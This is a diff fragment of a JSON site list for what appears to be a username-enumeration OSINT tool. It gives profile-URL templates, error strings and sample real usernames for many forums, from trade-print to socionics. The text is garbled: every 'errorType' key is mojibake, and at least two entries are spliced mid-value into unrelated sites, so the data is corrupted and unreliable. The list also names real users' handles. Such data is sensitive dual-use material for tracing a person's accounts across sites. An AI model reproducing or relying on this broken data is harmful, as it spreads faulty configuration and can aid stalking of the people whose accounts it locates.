"http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "NotFound", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "comments": "ERR_TE", + "bad_site": 1 + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": 1, + "comments": "vzlom", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "re not a", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukbusiness": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ukbusinessforums.co.uk/members/?username={}", + "urlMain": "https://www.ukbusinessforums.co.uk", + "usernameON": "fisicx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "title>Slides: 404Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + 